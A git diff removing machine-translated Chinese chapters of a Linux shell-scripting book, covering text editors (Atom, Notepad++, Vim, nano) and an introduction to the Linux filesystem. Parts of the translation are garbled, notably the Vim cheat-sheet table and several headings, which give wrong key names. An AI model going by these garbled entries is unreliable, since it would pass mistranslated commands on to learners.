Atom,我们想提到的最后一件大事是,默认情况下,它支持许多脚本和编程语言。当我们说*支持*时,我们的意思是它可以通过文件扩展名来识别文件类型,并提供语法高亮显示(这使得脚本编写更加容易!).这一功能是通过核心包提供的,核心包的工作方式与普通包相同,但从一开始就包含在内。出于我们的目的,核心包**语言 Shell 脚本**将帮助我们完成 Shell 脚本工作。 - -# Atom 安装和配置 - -让我们继续安装 Atom。只要你运行的是 Linux、macOS 或者 Windows,你就可以去[https://atom.io/](https://atom.io/)抓取安装程序。运行安装程序,如有必要,按照提示进行操作,直到安装好 Atom。现在,启动 Atom,您将看到欢迎屏幕,在撰写本文时,它看起来如下所示: - -![](img/d45b2d8a-0fd9-4e5c-9b53-c6fe4c3602e2.png) - -请务必查看 Atom 提供的所有屏幕。当您觉得已经探索了足够多的内容时,让我们向 Atom 添加一个包来补充我们的 shell 脚本。如果“欢迎指南”屏幕仍然打开,请从那里选择“安装软件包”。否则,可以使用快捷键 *Ctrl* + *、*调出设置画面。您将在那里看到一个安装选项,它将带您进入安装包屏幕。搜索`bash`,应该会看到如下包: - -![](img/a06e30e7-22af-4c9c-bbb4-fd4e5df56e9a.png) - -单击安装按钮并观看安装。安装后,可能会提示您重新启动 Atom 一定要这样做。如果您没有被提示,但看到任何类型的错误,重新启动 Atom 从来都不是一个坏主意。安装软件包后,您现在可以在编写 shell 脚本时使用自动完成功能。这意味着您可以开始键入,Atom 将尝试以以下方式预测您想要的内容: - -![](img/d28ba384-67cb-4430-a16f-14deb151a288.png) - -在右侧,您可以看到我们开始键入`echo` shell 命令,在前两个字母之后,Atom 向我们展示了包含这两个字母的两个选项。一旦它提出建议,我们可以按*进入*,命令被完全插入。虽然在这种情况下不会节省太多时间,但有两个主要原因可以说明这一点: - -* 如果您不确定该命令的确切名称,您可以使用自动完成功能找到它。 -* 一旦你开始写条件句和循环(在本书的第二部分),自动完成将跨越多行,省去了你输入许多单词和记住所有的语法。 - -最后,让我们看看当您打开一个 Git 项目并处理文件时,Atom 是什么样子的: - -![](img/af1f8c28-8d6a-4f78-beb7-ee0d74d2f75c.png) - -在 Atom 中工作时,屏幕大多会是这样的。在左手边,你会看到**树状图**,你可以通过按 *Ctrl* + *\* 来切换开/关。树视图包含当前项目中的所有文件(这是您已经打开的目录)。所有这些文件都可以通过双击打开,这使得它们出现在中间:**编辑器视图**。这是您花费大部分时间处理 shell 脚本的地方。编辑器视图将始终可见,即使当前没有打开的文件。 - -默认情况下,最后一个视图是位于右侧的 **Git 视图**。按下*Ctrl*+*Shift*+*9*即可切换此视图。这本书的代码托管在 GitHub 上,你可以下载一次(或者用 Git 的话来说,克隆一次*),而不需要在远程服务器上编辑。因此,本书不需要 Git 视图,但我们提到它是因为您可能会将它用于其他项目。* - - *# 记事本++ - -在 Atom 更接近于**集成开发环境** ( **IDE** )而不是文本编辑器的地方,Notepad++就像它的名字所暗示的那样:有一些附加特性的好的旧 Notepad。其中一些新增功能包括能够同时打开多个文件、语法高亮显示和有限的自动完成。它最初发布于 2003 年,只在 Windows 上运行。 - -记事本++的特点是简单。如果你熟悉任何一种记事本软件(谁不熟悉?),记事本++应该是即时可识别的。虽然我们建议在本书中使用 Atom,但使用记事本++这样的简单解决方案绝对不会阻碍您。然而,在商业环境中,您几乎总是会在已经存在的版本控制存储库中创建脚本,这是 Atom 的新增特性真正闪耀的地方。 - -如果你想查看记事本++,从[https://notepad-plus-plus.org/download](https://notepad-plus-plus.org/download)获取并运行安装程序(记住,只有在 Windows 上!).保留默认选项,安装后运行记事本++。您应该会看到以下屏幕: - -![](img/30042cfb-f8b9-410d-b66f-5fa758b572eb.png) - -如你所见,当你打开一个以`.sh`结尾的文件时,你会看到语法高亮。这是因为`.sh`扩展名是为 shell 脚本文件保留的。这可以极大地帮助你写脚本。使用基于颜色的语法高亮显示,丢失的引号打乱脚本的例子将变得非常明显,这可能会为您节省很多故障排除时间。 - -Notepad++还有许多其他特性,使它成为一个很好的增强记事本。您可以使用宏来执行脚本任务,可以安装插件来扩展功能,还有许多独特的功能使记事本++成为一个有吸引力的选项。 - -# 使用命令行编辑器 - -能够使用命令行编辑器是任何使用 Linux 的人迟早都应该学习的技能。对于带有图形用户界面的 Linux 安装,可以用图形用户界面工具来代替,如 Atom 或记事本上发行版的内置变体。然而,服务器安装几乎永远不会有图形用户界面,您将不得不依赖命令行文本编辑器。虽然这听起来令人生畏,但事实并非如此!为了给你一个命令行编辑器的小介绍,我们将回顾大多数 Linux 发行版中最流行的两个应用: **Vim** 和 **GNU nano** 。 - -# 精力 - -我们将讨论的第一个命令行文本编辑器可能是最受 Linux 欢迎的: **Vim** 。Vim 源自术语 **Vi 改良版**,因为它是 Unix 编辑器 Vi 的更新克隆。它是由布莱姆·米勒创建的,现在仍然由他维护,他在 1991 年首次公开发布了 Vim。Vim(或者说,在非常古老的 T4 T5 系统上,Vi)应该出现在你会遇到的所有 Unix 或类似 Unix 的机器上。 - -Vim 被认为是一个很难学习的工具。这主要是因为它的工作方式与大多数人习惯的文本编辑器非常不同。然而,一旦最初的学习曲线结束,许多人都同意,许多动作可以在 Vim 中比在*普通*文本编辑器(如微软的 Notepad++)中更快地完成。 - -我们跳进来吧!登录到您的虚拟机: - -```sh -$ ssh reader@localhost -p 2222 -``` - -登录后,打开 Vim 到一个空文件: - -```sh -$ vim -``` - -迎接你的应该是类似以下的东西: - -![](img/fe2e21b6-1dcf-4230-a410-b0711f62ad9d.png) - -Vim 开始一个新的过程,使用你的整个终端(不要担心,一旦你退出 Vim,一切仍将在你离开的地方!).当您启动 Vim 时,您将被置于**正常**模式。Vim 有多种模式,其中 normal 和 **insert** 是最值得探索的。在正常模式下,您不能像在记事本或 Word 中那样开始键入。由于 Vim 被设计成在没有鼠标的情况下使用,它也需要一种操作文本的方法。当一些应用决定为此使用修改器时(例如,在记事本中按住 *Shift* 键),Vim 决定模式。让我们首先进入插入模式,这样我们就可以开始键入一些文本。按下 *I* 键,您的屏幕应切换到插入模式: - -![](img/0366e553-54fa-480c-ab7b-80a70e92fbfd.png) - -在插入模式下,我们冒昧地输入了一些文本。请务必执行相同的操作,完成后,按 *Esc* 返回正常模式: - -![](img/f96f9399-fda5-415e-b2fc-c8f96986d375.png) - -如果对比两张截图,应该差别很大:左下角文字`-- INSERT --`不见了!当你处于一种不同于正常的模式时,那种模式会清晰地呈现在那里。如果你没有看到任何东西,你可以放心地假设你在正常模式。在正常模式下,我们可以使用箭头键导航。我们还可以通过几次按键来操作字符、单词甚至(多)行!比如点击`dd`注意你的整行刚刚被删了。如果你想找回它,点击`u`进行撤销。 - -一个挑战依然存在:退出 Vim。通常,您可能会想使用 *Esc* 按钮退出程序。如果你对 Linux 有点熟悉,你甚至可能知道一个好的 *Ctrl + C* 可能也会退出大多数程序。然而,这两种方法对 Vim 都不起作用: *Esc* 只会让你在正常模式下着陆,而 *Ctrl* + *C* 什么都不会做。要退出 Vim,请确保您处于正常模式,并输入以下内容: - -```sh -:q! -``` - -这将退出当前文档,不保存任何内容。如果要*保存并退出*,请使用以下命令: - -```sh -:x filename.txt -``` - -这会将您当前的文档保存为`filename.txt`,并将您返回到您的终端。请注意,通常您会使用以下命令在已经存在的文件上启动 Vim: - -```sh -$ vim filename.txt -``` - -在这种情况下,保存和退出时不需要输入文件名;在那种情况下使用`:x`就足够了。`:x`实际上是`:wq`的简写。`:w`是*写*动作,用来保存文件,`:q`用来*退出。*组合,用于*保存和退出*。如果您想在编辑过程中的任何其他时间保存您的文件,您可以使用`:w`来完成。 - -# Vim 摘要 - -Vim 有许多令超级用户赞赏的命令。现在,请记住有两种重要的模式,正常和插入。按 *I* 可以从正常进入插入,按 *Esc* 可以回到正常模式。在插入模式下,Vim 的行为就像记事本或 Word 一样,但在正常模式下,您可以执行简单的文本操作,例如删除当前选择的整行。如果您想退出 Vim,进入正常模式,根据您是否想保存更改,输入`:q!`或`:x`。 - -Don't be afraid to start using Vim. While it might seem daunting at first, once you get the hang of it you can really perform file-related tasks on servers much more quickly. If you want to get a head start, take 30 minutes of your time and work through **vimtutor**. This command-line tool will get you up to speed with the basic usage of Vim really quickly! To start, simply navigate to your virtual machine, type `vimtutor`, and press *Enter*. - -# -vim 的 - -`.vimrc`文件可以用来为 Vim 设置一些持久选项。使用这个文件,您可以定制您的 Vim 体验。有许多自定义的可能性:流行的例子包括设置配色方案,在制表符和空格之间转换,以及设置搜索选项。 - -要创建将在启动 Vim 时使用的`.vimrc`文件,请执行以下操作: - -```sh -$ cd -$ vim .vimrc -``` - -第一个命令将您放置在`home`目录中(不要担心,这将在本书后面更详细地解释)。第二个为`.vimrc`文件启动一个 Vim 编辑器。不要忘记前面的点,因为这是 Linux 处理隐藏文件的方式(同样,稍后会有更多内容)。我们在`.vimrc`文件中使用了以下配置: - -```sh -set expandtab -set tabstop=2 -syntax on -colo peachpuff -set ignorecase -set smartcase -set number -``` - -通过这种配置,可以实现以下目标: - -* `set expandtab`:将制表符转换为空格。 -* `set tabstop=2`:每个制表符转换为两个空格。 -* `syntax on`:开启语法高亮显示(通过使用不同的颜色)。 -* `colorscheme peachpuff`:采用桃皮绒配色。 -* `set ignorecase`:搜索时忽略大小写。 -* `set smartcase`:用一个或多个大写字母搜索时不忽略大小写。 -* `set number`:显示行号。 - -# Vim 备忘单 - -为了让您开始了解一些关于 Vim 的重要命令,我们加入了一个备忘单。通过 **vimtutor** 工作后,附近有这个小抄几乎保证你可以正常使用 Vim! - -按键是直接输入的。注意击键区分大小写,所以 *a* 不同于 *A* 。您可以按住大写字母的*移动*或使用*大写锁定*键。然而,最实用的方法是使用*换挡*: - -| **击键** | **效果** | -| 转义字符 | 退出插入模式,返回命令模式。 | -| 我 | 在光标当前位置之前进入插入模式。 | -| a | 在光标的当前位置之后进入插入模式。 | -| 我 | 在当前行的开头进入插入模式。 | -| A | 在当前行的末尾进入插入模式。 | -| o | 进入插入模式,在当前行下插入新行。 | -| O | 进入插入模式,在当前行上方插入一个新行。 | -| 截止日期(Deadline Date 的缩写) | 删除当前行。 | -| u | 撤消在以前的插入模式中所做的更改。 | -| 控制 + r | 重做撤销。 | -| 尤尼克斯 | 拉下当前行。 | -| p | 将最后一条被拖动的线粘贴到当前线的下方。 | -| P | 将最后一条被拖动的线粘贴到当前线的上方。 | -| H | 导航到文件的开头。 | -| M | 导航到文件的中间。 | -| G | 导航到文件的结尾。 | -| dH | 删除文件开头之前的所有行(包括当前行)。 | -| 德意志留声机公司 | 删除所有行,直到文件结束(包括当前行)。 | - -# NANOTECHNOLOGY 简称 - -GNU nano,通常被称为只是 nano,是另一个命令行编辑器,在大多数 Linux 安装中默认存在。顾名思义,它是 GNU 项目的一部分,与构成 Linux 发行版的许多其他部分没有什么不同(记住,Bash 也是 GNU 项目软件)。Nano 于 1999 年首次发布,旨在取代 Pico 文本编辑器,这是一种为 Unix 系统创建的简单文本编辑器。 - -与 Vim 相比,Nano 不仅仅是一个**所见即所得** ( **所见即所得**)的工具。与记事本和 Word 类似,nano 不使用不同的模式;它总是准备好开始键入您的文档或脚本。 - -在虚拟机上,打开 nano 编辑器屏幕: - -```sh -$ nano -``` - -应该会出现类似以下的屏幕: - -![](img/04bddff3-a1a2-4e48-9e33-b3156ec1e49d.png) - -随意开始打字。它应该如下所示: - -![](img/bd94cf3c-1c98-454b-a34e-72ef9ea521ae.png) - -正如你所看到的,屏幕底部被预留用来呈现 nano 所说的**控制键**。虽然一开始可能不太明显,但是`^`是 *Ctrl* 的简写。如果想退出,按住 *Ctrl* 并按 *X* : - -![](img/b3e70af4-3613-45f3-8f9e-bc7fb0df21da.png) - -系统将提示您是否希望在保存或不保存文件的情况下退出。在这种情况下,我们按 *Y* 表示是。如果我们用一个文件名启动 nano,保存和退出会立即完成,但是因为我们在启动 nano 时没有文件名,所以会出现另一个选择: - -![](img/f4464db7-e895-4239-9dc1-257af9ca09fb.png) - -输入文件名并按*进入*。你将回到你之前的终端屏幕,在你开始 nano 的目录中。如果一切顺利,您可以使用以下命令查看该文件: - -```sh -$ ls -l -``` - -![](img/1bd5b969-f2d2-4890-945c-45dc176a0c63.png) - -虽然 nano 有更高级的特性,但对于基本用法,我们已经讨论了最重要的特性。虽然它最初比 Vim 更容易使用,但它也没有 Vim 那么强大。简单说,nano 简单,Vim 强大。 - -如果你没有任何经验和/或偏好,我们的建议是花一点时间学习 Vim 并坚持下去。在花了更多的时间在 Linux 和 Bash 脚本上之后,Vim 的高级特性变得很难离开。然而,如果你不能习惯 Vim,不要羞于使用 nano:它是一个优秀的编辑器,可以让大多数工作顺利完成,没有太多麻烦! - -# 编写 shell 脚本时将图形编辑器和命令行编辑器结合起来 - -为了让您了解我们如何将图形用户界面工具与命令行编辑器相结合,我们给出了以下示例工作流。不要担心还没有理解所有的步骤;在书的最后,你应该回到这个例子,确切地理解我们在说什么。 - -当您编写 shell 脚本时,通常会经历几个阶段: - -1. 收集对 shell 脚本的要求。 -2. 设计 Shell 脚本。 -3. 编写 shell 脚本。 -4. 测试并调整 shell 脚本。 -5. (可选)向版本控制系统提交工作 Shell 脚本。 - -第 1 阶段和第 2 阶段通常在没有编写实际代码的情况下完成。您考虑脚本的目的,如何实现它,以及通过创建脚本可以获得什么。这些步骤通常涉及研究和寻找最佳实践。当你觉得自己很清楚为什么要写 shell 脚本、写什么以及如何写的时候,你就进入第三阶段:写脚本。此时,您将打开您最喜欢的基于图形用户界面的编辑器,开始输入。因为图形用户界面编辑器内置了自动完成、语法突出显示和其他生产力功能,所以您可以高效地编写大多数 Shell 脚本代码。当您觉得您的脚本已经准备好进行测试之后,您需要离开您的图形用户界面:脚本必须在为其设计的系统上进行测试。 - -第四阶段开始。您可以使用 Vim 或 nano 将脚本复制并粘贴到服务器。一旦脚本在服务器上,您就可以运行它。很多时候,它实际上不会做你期望它做的所有事情。微小的错误很容易犯,也很容易修复,但是回到图形用户界面编辑器,更改它,保存它,将其传输到服务器,然后再次运行它,这将是一个小麻烦!幸运的是,我们可以使用 Vim 或 nano 进行微小的更改,以修复服务器上的脚本,然后重试。缺少`;` 或`"`会使 Shell 脚本无法使用,但它会很快修复(尽管图形用户界面编辑器中经常会突出显示这样的错误,因此即使是第一个版本,这些错误也不太可能出现在服务器上)。 - -最后,经过多次迭代,您的脚本将按预期工作。现在你必须确保完整和正确的脚本被上传到你的版本控制系统。建议最后一次将脚本从图形用户界面转移到服务器,看看您是否已经将在服务器上所做的所有更改应用到您的图形用户界面会话中。一旦完成,就提交,你就完成了! - -# 摘要 - -在本章中,我们讨论了四种文本编辑工具,分为两种类型:基于图形用户界面的编辑器(Atom 和 Notepad++)和命令行编辑器(Vim 和 GNU nano),然后展示了如何一起使用这些工具。 - -Atom 是一个强大的文本编辑器,可以按照您想要的方式进行配置。默认情况下,它支持许多不同的编码语言,包括 shell。它还带有 Git 和 GitHub 集成。我们还简要讨论了记事本++。虽然不如 Atom 强大,但它也适合我们的目的,因为它基本上是一个增强的记事本,具有 Shell 脚本的所有重要功能。 - -Vim 和 nano 是两种最流行的 Linux 命令行文本编辑器。我们了解到,虽然 Vim 非常强大,但它也比 nano 更难学。然而,学习如何正确使用 Vim 将加快您在 Linux 系统上做的许多事情,并且是一项非常有价值的技能。关于 Vim 的一个很好的实践介绍,请浏览 vimtutor。Nano 更容易使用,因为它更像微软 Word 和记事本中所见即所得的编辑风格。 - -我们以一个 shell 脚本之旅的例子结束了这一章。我们简要概述了如何将基于图形用户界面的编辑器与命令行编辑器结合使用。 - -本章介绍了以下命令:`vim`、`nano`和`ls`。 - -# 问题 - -1. 为什么语法高亮是文本编辑器的一个重要特性? -2. 我们如何扩展 Atom 已经提供的功能? -3. 编写 shell 脚本时,自动完成有什么好处? -4. 我们如何描述 Vim 和 GNU nano 的区别? -5. Vim 中最有趣的两种模式是什么? -6. `.vimrc`文件是什么? -7. 当我们称 nano 为所见即所得编辑器是什么意思? -8. 为什么我们要把图形用户界面编辑器和命令行编辑器结合起来? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* *黑客 Vim 7.2* 作者:Kim Schulz,Packt Publishing:[https://www . packtpub . com/application-development/Hacking-Vim-72](https://www.packtpub.com/application-development/hacking-vim-72)* \ No newline at end of file diff --git a/docs/learn-linux-shell-script/04.md b/docs/learn-linux-shell-script/04.md deleted file mode 100644 index 020a73a4..00000000 --- a/docs/learn-linux-shell-script/04.md +++ /dev/null @@ -1,532 +0,0 @@ -# 四、Linux 文件系统 - -在本章中,我们将花一些时间来探索 Linux 文件系统。我们将解释什么是文件系统,什么使 Linux 文件系统独一无二。我们将描述 Linux 文件系统的结构,以及在 Linux 下,几乎所有的东西都是文件。我们将以交互方式进行,让您第一次更仔细地了解一些常见的 Linux 命令,这些命令将在以后的脚本中使用。 - -本章将介绍以下命令:`pwd`、`cd`、`df`、`echo`、`type`、`cat`和`less`。 - -本章将涵盖以下主题: - -* Linux 文件系统解释了 -* Linux 文件系统的结构 -* 一切都是文件 - -# 技术要求 - -我们将使用我们在[第 2 章](02.html)、*设置本地环境*中创建的虚拟机来探索 Linux 文件系统。 - -If you run into issues with connecting to your virtual machine, make sure that VirtualBox is running and the virtual machine has been started. While there are many things that can cause issues, making sure the hypervisor and virtual machine are running should always be your first step in troubleshooting. - -# Linux 文件系统解释了 - -本章将介绍 Linux 文件系统的基础知识。因为文件系统很复杂,我们不会太深入地研究技术的核心;相反,我们将提供仍然与 shell 脚本相关的足够信息。 - -# 什么是文件系统? - -本质上,文件系统是数据在物理介质(可以是硬盘、固态硬盘,甚至是随机存取存储器)上存储和检索的方式。它是一种软件实现,管理在何处以及如何再次写入和查找位,并可能包括各种增强可靠性、性能和功能的高级功能。 - -文件系统的概念是抽象的:有许多文件系统*实现*,它们常常被混淆地称为文件系统。我们发现按系列排序文件系统是最容易理解的,就像 Linux 发行版一样:有 Linux 文件系统、Windows 文件系统、macOS 文件系统和许多其他文件系统。Windows 文件系统家族从最早的 **FAT** 文件系统一直延续到最新的**参考文件**,目前使用最广泛的是 **NTFS** 。 - -在撰写本文时,Linux 系列中最重要的文件系统是以下实现: - -* **ext4** -* **XFS** 的缩写形式 -* **btr** - -目前最常用的 Linux 文件系统实现是 ext4。这是 Linux 文件系统的**扩展文件系统** ( **ext** )系列的第四次迭代。它发布于 2008 年,被认为*非常*稳定,但不是最先进的;可靠性是最重要的考虑因素。 - -XFS 在红帽发行版(红帽企业版 Linux、CentOS 和 Fedora)中的使用最为著名。它包含一些比 ext4 更高级的功能,例如并行 I/O、更大的文件大小支持以及更好地处理大文件。 - -最后,还有 Btrfs。该文件系统实施最初是在甲骨文公司设计的,自 2014 年起被认为是稳定的。Btrfs 有许多先进的功能,可以使它更好地 ext4 和 XFS;ext4 的主要开发者甚至声明 ext4 最终应该被 Btrfs 取代。Btrfs 最有趣的特点是它使用了**写时复制** ( **COW** )原理:被复制的文件实际上并没有完全写出到物理介质中,而只是创建了一个指向相同数据的新指针。只有当副本或原件被修改时,才会写入新数据。 - -正如您可能已经猜到的,文件系统实现只不过是软件。对于 Linux,前面描述的三种实现都存在于所有较新的 Linux 内核中。这意味着,只要在操作系统中安装了正确的驱动程序,这些都可以使用。更妙的是,这些都可以*并发*使用!我们将在本章后面进一步讨论这个问题。 - -另一个值得注意的有趣的事情是,虽然 ext4 是 Linux 的原生版本,但是在驱动程序的帮助下,它也可以在例如 Windows 下使用。在 Windows 下,您不会将 ext4 用作主驱动器的文件系统,但是您可以在 Windows 下*挂载*一个 Linux 格式的 ext4 文件系统,并与内容进行交互。反过来,在 Linux 下安装一个 Windows 文件系统,也是大多数实现所支持的。虽然我们在这里以 ext4 为例,但 XFS 和 Btrfs 也是如此。 - -# 是什么让 Linux 文件系统独一无二? - -现在应该很清楚,在现实中,不存在*Linux 文件系统这样的东西。然而,这些文件系统有一些共同的特点,使得它们可以作为 Linux 文件系统。* - - *Linux 文件系统遵循**文件系统层次标准** ( **FHS** )。这个 FHS 由 Linux 基金会维护,目前是 3.0 版本。与 Linux 生态系统中的许多东西一样,它基于 Unix 的前身: **Unix 文件系统标准** ( **UFS** )。规定了**目录结构**及其内容。我们将在本章的下一部分一起探讨这个结构。 - -由于 Linux 最常用于服务器,因此 Linux 文件系统实现(通常)在文件完整性和灾难恢复方面具有非常先进的特性。这种灾难的一个例子是,一个系统在编写关键业务文件的过程中断电。如果写操作存储在内存中并在中途中止,文件将处于不一致的状态。当系统再次启动时,操作系统不再在内存中执行写操作(因为每次重新启动时内存都会被清除),并且只会写入文件的一部分。显然,这是不想要的行为,可能会导致问题。由于 COW 的属性,Btrfs 没有这个问题。然而,ext4 和 XFS 不是 COW 文件系统。他们都用另一种方式处理这个问题:用**记录**; - -![](img/7612f577-21c9-4856-a2d4-65bcbad6c62c.png) - -如上图所示,文件通过三个步骤写入磁盘: - -1. 文件系统从日志请求磁盘写入 -2. 磁盘上的日志写入 -3. 文件写入后,日志会更新 - -如果服务器在第 2 步和第 3 步之间崩溃,写操作将在加电后再次进行,因为日志仍然包含该条目。日志只包含一些关于操作的元数据,而不是整个文件。由于日志包含对磁盘(驱动器扇区)上*实际*位置的引用,它将覆盖之前写入的内容,在本例中是文件的一部分。如果这次成功完成,日志条目将被删除,文件/磁盘的状态将得到保证。如果服务器在第 1 步和第 2 步之间出现故障,实际写入磁盘的指令从未给出,给出指令的软件应该考虑这种可能性。 - -**Full disclosure**: This part about journaling is a bit of an oversimplification, but again filesystems are complicated and we want to focus on things that are relevant for shell scripting. If you're interested in how filesystems work on a lower level, be sure to pick up another book since it really is a very interesting subject! - -# Linux 文件系统的结构 - -虽然有许多更高级的文件系统特性非常有趣,但我们想关注是什么让 Linux 文件系统与众不同:文件系统结构。如果你习惯了 Windows,这可能是两个操作系统之间最令人困惑的区别。如果你来自于 macOS,这种差异仍然很明显,但要小得多:这是因为 macOS 是一个 Unix 操作系统,与类似 Unix 的 Linux 结构有着明显的相似之处。 - -从现在开始,我们将以交互方式探索 Linux 文件系统。我们建议您遵循下面的代码示例,因为这样可以显著提高信息保留率。除此之外,如果你选择不在这本书里使用 Ubuntu 18.04 LTS,你的系统可能看起来和我们使用的不同。无论如何,启动那个虚拟机,开始和我们一起探索吧! - -# 树形结构 - -让我们从通过 SSH 登录到我们的虚拟机开始: - -```sh -ssh -p 2222 reader@localhost -``` - -在提示符下输入您的密码,您应该会看到默认的 Ubuntu 18.04 登录横幅,它看起来应该类似于以下内容: - -```sh -reader@localhost's password: -Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-29-generic x86_64) - - System information as of Sat Jul 28 14:15:19 UTC 2018 - - System load: 0.09 Processes: 87 - Usage of /: 45.6% of 9.78GB Users logged in: 0 - Memory usage: 15% IP address for enp0s3: 10.0.2.15 - Swap usage: 0% - -Last login: Sat Jul 28 14:13:42 2018 from 10.0.2.2 -reader@ubuntu:~$ -``` - -登录时(通过 SSH 或终端控制台),您将在用户的`home`目录下结束。使用`pwd`命令,你总能找到自己的准确位置。`pwd`代表**p**rint**w**work**d**目录: - -```sh -reader@ubuntu:~$ pwd -/home/reader -``` - -所以,我们最终进入了`/home/reader/`目录。这是大多数 Linux 发行版的默认值:`/home/$USERNAME/`。自从我们创建了主用户`reader`,这就是我们所期望的。对于那些来自 Windows 的人来说,这可能看起来很陌生:驱动器名称(`C:`、`D:`等)在哪里,为什么我们使用(正)斜杠而不是反斜杠? - -Linux,以及 Unix 和其他类似 Unix 的系统,使用**树形结构**。它之所以被称为树,是因为它始于一个原点`root`(位于`/`)。目录从那里嵌套(像树的**分支**,与其他操作系统没有太大区别)。最后,树结构在被认为是树的**叶**的文件中结束。这听起来可能非常复杂,但实际上相对简单。让我们继续探索,以确保我们完全理解这个结构!在 Linux 下,我们使用`cd`命令来改变目录。它的工作原理是输入`cd`,然后输入文件系统中我们想要去的位置作为*命令的参数*。导航到文件系统根目录: - -```sh -reader@ubuntu:~$ cd / -reader@ubuntu:/$ -``` - -如你所见,似乎没发生什么事。但是,在你的终端提示中有一个微小的区别:`~`字符已经被`/`取代。在 Ubuntu 下,默认配置显示文件系统上的位置,而不需要使用`pwd`命令。提示构建如下:`@**:****$**`。那为什么是`~`呢?简单:波浪号字符是用户主目录的简写!如果没有速记,登录时的提示将是`reader@ubuntu:/home/reader$`。 - -既然我们已经导航到了文件系统的根目录,那么让我们看看在那里能找到什么。要列出当前目录的内容,我们使用`ls`命令: - -```sh -reader@ubuntu:/$ ls -bin dev home initrd.img.old lib64 media opt root sbin srv sys usr vmlinuz -boot etc initrd.img lib lost+found mnt proc run snap swap.img tmp var vmlinuz.old -``` - -如果你使用 SSH,你很可能会有一些颜色来区分文件和目录(甚至目录上的权限,如果你以不同的方式看到`tmp`;这将在下一章中讨论)。然而,即使有颜色辅助,这仍然感觉不清楚。让我们通过使用`ls`命令上的**选项**来清理一下: - -```sh -reader@ubuntu:/$ ls -l -total 2017372 -drwxr-xr-x 2 root root 4096 Jul 28 10:31 bin -drwxr-xr-x 3 root root 4096 Jul 28 10:32 boot -drwxr-xr-x 19 root root 3900 Jul 28 10:31 dev -drwxr-xr-x 90 root root 4096 Jul 28 10:32 etc -drwxr-xr-x 3 root root 4096 Jun 30 18:20 home -lrwxrwxrwx 1 root root 33 Jul 27 11:39 initrd.img -> boot/initrd.img-4.15.0-29-generic -lrwxrwxrwx 1 root root 33 Jul 27 11:39 initrd.img.old -> boot/initrd.img-4.15.0-23-generic -drwxr-xr-x 22 root root 4096 Apr 26 19:09 lib -drwxr-xr-x 2 root root 4096 Apr 26 19:07 lib64 -drwx------ 2 root root 16384 Jun 30 17:58 lost+found -drwxr-xr-x 2 root root 4096 Apr 26 19:07 media -drwxr-xr-x 2 root root 4096 Apr 26 19:07 mnt -drwxr-xr-x 2 root root 4096 Apr 26 19:07 opt -dr-xr-xr-x 97 root root 0 Jul 28 10:30 proc -drwx------ 3 root root 4096 Jul 1 09:40 root -drwxr-xr-x 26 root root 920 Jul 28 14:15 run -drwxr-xr-x 2 root root 12288 Jul 28 10:31 sbin -drwxr-xr-x 4 root root 4096 Jun 30 18:20 snap -drwxr-xr-x 2 root root 4096 Apr 26 19:07 srv --rw------- 1 root root 2065694720 Jun 30 18:00 swap.img -dr-xr-xr-x 13 root root 0 Jul 28 10:30 sys -drwxrwxrwt 9 root root 4096 Jul 28 14:32 tmp -drwxr-xr-x 10 root root 4096 Apr 26 19:07 usr -drwxr-xr-x 13 root root 4096 Apr 26 19:10 var -lrwxrwxrwx 1 root root 30 Jul 27 11:39 vmlinuz -> boot/vmlinuz-4.15.0-29-generic -lrwxrwxrwx 1 root root 30 Jul 27 11:39 vmlinuz.old -> boot/vmlinuz-4.15.0-23-generic -``` - -选项`-l`(连字符小写 l,如在*长的*)到`ls`给出了**长的列表格式**。其中,它会打印权限、文件/目录的所有者、文件类型及其大小。请记住,权限和所有权将在下一章中讨论,因此目前无需担心这一点。最重要的是,每个文件/目录都打印在自己的行上,该行的第一个字符表示文件的类型:`d`表示目录,`-`表示常规文件,`l`表示符号链接(这是 Linux 下的快捷方式)。 - -让我们更深入地浏览树形结构,返回*到*我们的`home`目录。此时,你有两个选择。您可以使用**相对路径**(如:相对于当前位置)或**完全限定路径**(相对于当前目录是*而不是*)。让我们两个都试试: - -```sh -reader@ubuntu:/$ cd home -reader@ubuntu:/home$ -``` - -前面是将目录更改为相对目录的示例。我们被定位在根目录`/`中,然后我们从那里导航回家,实际上在`/home`结束。我们可以使用完全限定的路径从任何地方导航到那里: - -```sh -reader@ubuntu:/$ cd /home -reader@ubuntu:/home$ -``` - -你发现区别了吗?在完全限定的例子中,`cd`的参数以斜杠开始,但是在相对的例子中它没有。让我们看看如果两种类型都使用不正确会发生什么: - -```sh -reader@ubuntu:/home$ ls -reader -reader@ubuntu:/home$ cd /reader --bash: cd: /reader: No such file or directory -``` - -我们用`ls`列出了`/home`目录的内容。不出所料,我们(至少)看到了当前用户的主目录`reader`。然而,当我们试图使用`cd /reader`导航到它时,我们得到了臭名昭著的错误`No such file or directory`。这并不奇怪:实际上没有目录`/reader`。我们要找的目录是`/home/reader`,通过`cd /home/reader`命令可以完全访问: - -```sh -reader@ubuntu:/home$ cd home --bash: cd: home: No such file or directory -reader@ubuntu:/home$ -``` - -如果我们试图使用不正确的相对路径,也会出现同样的错误。在前面的例子中,我们当前位于`/home`目录中,我们使用`cd home`命令。实际上,这将把我们放入`/home/home`,正如我们在`/home`目录中使用`ls`时所看到的,它是不存在的! - -The safest way to navigate around Linux is fully qualified: as long as you have the correct directory, it always works, no matter where you are currently located on the filesystem. However, especially when you get deeper into the filesystem, you're typing a lot more. We always recommend beginning users to start with fully qualified navigation and switch to relative once they're comfortable with the `cd`, `ls`, and `pwd` commands. - -尽管完全合格更安全,但相对来说效率要低得多。你看到了我们如何能更深入到树结构的分支中,但是如果你不得不往下走一层,回到树根那里呢?幸运的是,这并没有迫使我们使用完全限定的路径。我们可以使用`..`符号,这意味着向`/`上升一级: - -```sh -reader@ubuntu:/home$ cd .. -reader@ubuntu:/$ -``` - -A note on terminology is in order here. While we conceptualized the filesystem as a tree, when talking about the root directory, we consider this as the *highest point* in the filesystem. So when moving from `/` to `/home`, we're moving *down*. If we use the command `cd ..` to move back to `/`, we're moving *up*. While we think that this doesn't really match with the picture of a tree (where the root is actually the *lowest* point), please remember this convention! - -使用`cd ..`向上移动使我们回到文件系统的根。此时,您可能会想*如果我在文件系统的最高级别*上再次这样做,*会发生什么?*。试一试: - -```sh -reader@ubuntu:/$ cd .. -reader@ubuntu:/$ -``` - -幸运的是,我们没有出错,也没有机器死机;相反,我们只是在文件系统的根上结束(或者,根据您对它的看法,停留)。 - -A source of confusion among new users of Linux is often the term **root**. It can stand for any of three things: - -1. 文件系统中的最低点,在`/` -2. 